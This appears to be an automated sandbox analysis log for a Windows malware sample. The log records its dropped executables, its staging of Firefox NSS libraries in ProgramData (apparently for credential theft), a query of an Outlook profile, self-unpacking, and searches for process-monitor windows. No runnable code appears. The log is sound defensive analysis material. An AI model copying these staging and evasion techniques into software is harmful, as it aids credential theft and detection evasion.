Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe"	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Process created: C:\Windows\SysWOW64\cmd.exe "C:\Windows\system32\cmd.exe" /c start "" "C:\Users\user\AppData\Local\Temp\FHJKKECFIE.exe"	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Process created: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe "C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Process created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe "C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe"	Jump to behavior

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: shfolder.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: rstrtmgr.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: ncrypt.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: ntasn1.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: dpapi.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: mozglue.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: wsock32.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: msvcp140.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: vcruntime140.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwrite.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: windows.ui.immersive.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: bcp47mrm.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: uianimation.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxgi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: resourcepolicyclient.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d11.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: d3d10warp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dxcore.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dcomp.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: dwmapi.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Windows\SysWOW64\cmd.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: mstask.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: dui70.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: duser.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: chartv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: oleacc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: atlthunk.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: textinputframework.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: coreuicomponents.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: coremessaging.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: wtsapi32.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: textshaping.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: windows.fileexplorer.common.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: explorerframe.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: apphelp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: winmm.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: wininet.dll	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Section loaded: kernel.appcore.dll	Jump to behavior

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Classes\WOW6432Node\CLSID\{057EEE47-2572-4AA1-88D7-60CE2149E33C}\InProcServer32

Jump to behavior

Source: Window Recorder

Window detected: More than 3 window changes detected

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

Key opened: HKEY_CURRENT_USER\Software\Microsoft\Office\13.0\Outlook\Profiles\Outlook\9375CFF0413111d3B88A00104B2A6676\00000001

Jump to behavior

Source: 1jPL5zru3u.exe

Static file information: File size 2509824 > 1048576

Source: 1jPL5zru3u.exe

Static PE information: Raw size of .data is bigger than: 0x100000 < 0x221800

Source:	Binary string: mozglue.pdbP source: 1jPL5zru3u.exe, 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: freebl3.pdb source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: freebl3.pdbp source: freebl3[1].dll.0.dr, freebl3.dll.0.dr
Source:	Binary string: nss3.pdb@ source: 1jPL5zru3u.exe, 00000000.00000002.1889617051.000000006C5FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: softokn3.pdb@ source: softokn3[1].dll.0.dr, softokn3.dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\vcruntime140.i386.pdb source: vcruntime140.dll.0.dr, vcruntime140[1].dll.0.dr
Source:	Binary string: d:\agent\_work\1\s\binaries\x86ret\bin\i386\\msvcp140.i386.pdb source: msvcp140[1].dll.0.dr, msvcp140.dll.0.dr
Source:	Binary string: nss3.pdb source: 1jPL5zru3u.exe, 00000000.00000002.1889617051.000000006C5FF000.00000002.00000001.01000000.00000007.sdmp, nss3.dll.0.dr, nss3[1].dll.0.dr
Source:	Binary string: mozglue.pdb source: 1jPL5zru3u.exe, 00000000.00000002.1889326037.000000006C43D000.00000002.00000001.01000000.00000008.sdmp, mozglue[1].dll.0.dr, mozglue.dll.0.dr
Source:	Binary string: softokn3.pdb source: softokn3[1].dll.0.dr, softokn3.dll.0.dr

Data Obfuscation

Detected unpacking (changes PE section rights)

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Unpacked PE file: 0.2.1jPL5zru3u.exe.cb0000.0.unpack Unknown_Section0:EW;Unknown_Section1:EW;Unknown_Section2:EW;Unknown_Section3:EW;Unknown_Section4:EW;.data:EW; vs Unknown_Section0:EW;Unknown_Section1:R;Unknown_Section2:W;Unknown_Section3:R;Unknown_Section4:EW;.data:EW;
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Unpacked PE file: 6.2.CAEHDBAAEC.exe.530000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ltpqnbtv:EW;vtlswbyt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ltpqnbtv:EW;vtlswbyt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 10.2.explorti.exe.ba0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ltpqnbtv:EW;vtlswbyt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ltpqnbtv:EW;vtlswbyt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 11.2.explorti.exe.ba0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ltpqnbtv:EW;vtlswbyt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ltpqnbtv:EW;vtlswbyt:EW;.taggant:EW;
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Unpacked PE file: 13.2.explorti.exe.ba0000.0.unpack :EW;.rsrc:W;.idata :W; :EW;ltpqnbtv:EW;vtlswbyt:EW;.taggant:EW; vs :ER;.rsrc:W;.idata :W; :EW;ltpqnbtv:EW;vtlswbyt:EW;.taggant:EW;

Source: C:\Users\user\Desktop\1jPL5zru3u.exe

Code function: 0_2_6C42C410 LoadLibraryW,GetProcAddress,FreeLibrary,

0_2_6C42C410

Source: initial sample

Static PE information: section where entry point is pointing to: .data

Source: explorti.exe.6.dr	Static PE information: real checksum: 0x1d98f3 should be: 0x1d947d
Source: CAEHDBAAEC.exe.0.dr	Static PE information: real checksum: 0x1d98f3 should be: 0x1d947d
Source: 1jPL5zru3u.exe	Static PE information: real checksum: 0x0 should be: 0x27164b
Source: amadka[1].exe.0.dr	Static PE information: real checksum: 0x1d98f3 should be: 0x1d947d

Source: 1jPL5zru3u.exe	Static PE information: section name:
Source: 1jPL5zru3u.exe	Static PE information: section name:
Source: 1jPL5zru3u.exe	Static PE information: section name:
Source: 1jPL5zru3u.exe	Static PE information: section name:
Source: 1jPL5zru3u.exe	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: .idata
Source: amadka[1].exe.0.dr	Static PE information: section name:
Source: amadka[1].exe.0.dr	Static PE information: section name: ltpqnbtv
Source: amadka[1].exe.0.dr	Static PE information: section name: vtlswbyt
Source: amadka[1].exe.0.dr	Static PE information: section name: .taggant
Source: CAEHDBAAEC.exe.0.dr	Static PE information: section name:
Source: CAEHDBAAEC.exe.0.dr	Static PE information: section name: .idata
Source: CAEHDBAAEC.exe.0.dr	Static PE information: section name:
Source: CAEHDBAAEC.exe.0.dr	Static PE information: section name: ltpqnbtv
Source: CAEHDBAAEC.exe.0.dr	Static PE information: section name: vtlswbyt
Source: CAEHDBAAEC.exe.0.dr	Static PE information: section name: .taggant
Source: msvcp140[1].dll.0.dr	Static PE information: section name: .didat
Source: nss3.dll.0.dr	Static PE information: section name: .00cfg
Source: nss3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3.dll.0.dr	Static PE information: section name: .00cfg
Source: softokn3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3.dll.0.dr	Static PE information: section name: .00cfg
Source: freebl3[1].dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue.dll.0.dr	Static PE information: section name: .00cfg
Source: mozglue[1].dll.0.dr	Static PE information: section name: .00cfg
Source: msvcp140.dll.0.dr	Static PE information: section name: .didat
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: .idata
Source: explorti.exe.6.dr	Static PE information: section name:
Source: explorti.exe.6.dr	Static PE information: section name: ltpqnbtv
Source: explorti.exe.6.dr	Static PE information: section name: vtlswbyt
Source: explorti.exe.6.dr	Static PE information: section name: .taggant

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	Code function: 0_2_6C3FB536 push ecx; ret		0_2_6C3FB549
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Code function: 10_2_00BBD82C push ecx; ret		10_2_00BBD83F

Source: 1jPL5zru3u.exe	Static PE information: section name: entropy: 7.9949641655914805
Source: 1jPL5zru3u.exe	Static PE information: section name: entropy: 7.980309777125587
Source: 1jPL5zru3u.exe	Static PE information: section name: entropy: 7.952939990721896
Source: amadka[1].exe.0.dr	Static PE information: section name: entropy: 7.986751932687439
Source: amadka[1].exe.0.dr	Static PE information: section name: ltpqnbtv entropy: 7.954413897969609
Source: CAEHDBAAEC.exe.0.dr	Static PE information: section name: entropy: 7.986751932687439
Source: CAEHDBAAEC.exe.0.dr	Static PE information: section name: ltpqnbtv entropy: 7.954413897969609
Source: explorti.exe.6.dr	Static PE information: section name: entropy: 7.986751932687439
Source: explorti.exe.6.dr	Static PE information: section name: ltpqnbtv entropy: 7.954413897969609

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\mozglue[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\nss3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\msvcp140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	File created: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\vcruntime140[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\freebl3[1].dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\amadka[1].exe	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\3D003UC5\softokn3[1].dll	Jump to dropped file

Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\ProgramData\nss3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\ProgramData\mozglue.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\ProgramData\msvcp140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\ProgramData\freebl3.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\ProgramData\vcruntime140.dll	Jump to dropped file
Source: C:\Users\user\Desktop\1jPL5zru3u.exe	File created: C:\ProgramData\softokn3.dll	Jump to dropped file

Boot Survival

Tries to detect process monitoring tools (Task Manager, Process Explorer etc.)

Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\CAEHDBAAEC.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Filemonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: Regmonclass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: PROCMON_WINDOW_CLASS	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: RegmonClass	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\ad40971b6b\explorti.exe	Window searched: window name: FilemonClass	Jump to behavior
